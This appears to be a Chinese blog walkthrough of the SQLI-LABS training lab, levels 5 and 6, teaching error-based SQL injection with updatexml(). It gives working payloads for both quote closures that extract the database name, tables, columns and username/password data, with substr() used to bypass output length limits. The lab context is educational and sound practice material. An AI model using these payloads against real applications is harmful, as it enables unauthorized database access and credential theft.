SQLI-LABS Less-5 Less-6

Less-5 Less-6 是报错注入

不能使用 union()函数,或者没有回显位

报错注入常用函数:

(这里只用到了updatexml)

  • updatexml(xml_doument,XPath_string,new_value):

第一个参数:XML的内容

第二个参数:是需要update的位置XPATH路径

第三个参数:是替换后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式函数利用和语法明白了,如果找不到相应的xpath路径,updatexml函数就会报出错误concat()函数,由updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码,最多输出32个字节

  • floor()
  • extractvalue()
  • exp()

Less-5

闭合字符:'$id'

?id=1' union select 1,2,3 --+
#没有回显,利用报错注入

爆库名:

​
?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+

理解了报错注入的方式,接下来就轻松了:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),1) --+
#爆表名 emails,referers,uagents,users

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),1) --+
#爆字段名 username,password

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'@',password) from security.users)),1) --+
#爆数据

发现最后的数据不全,这是因为 updatexml函数 最多输出32个字节,所以我们需要利用 substr函数

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31)),1) --+ 
#爆数据,掌握substr函数,依此类推

Less-6

跟 Less-5 一样的注入手法

闭合字符:"$id"

?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+
#爆数据库 security

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),1) --+
#爆表名 emails,referers,uagents,users

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),1) --+
#爆字段名 username,password

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,'@',password) from security.users),1,31)),1) --+ 
#爆数据,掌握substr函数,依此类推
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值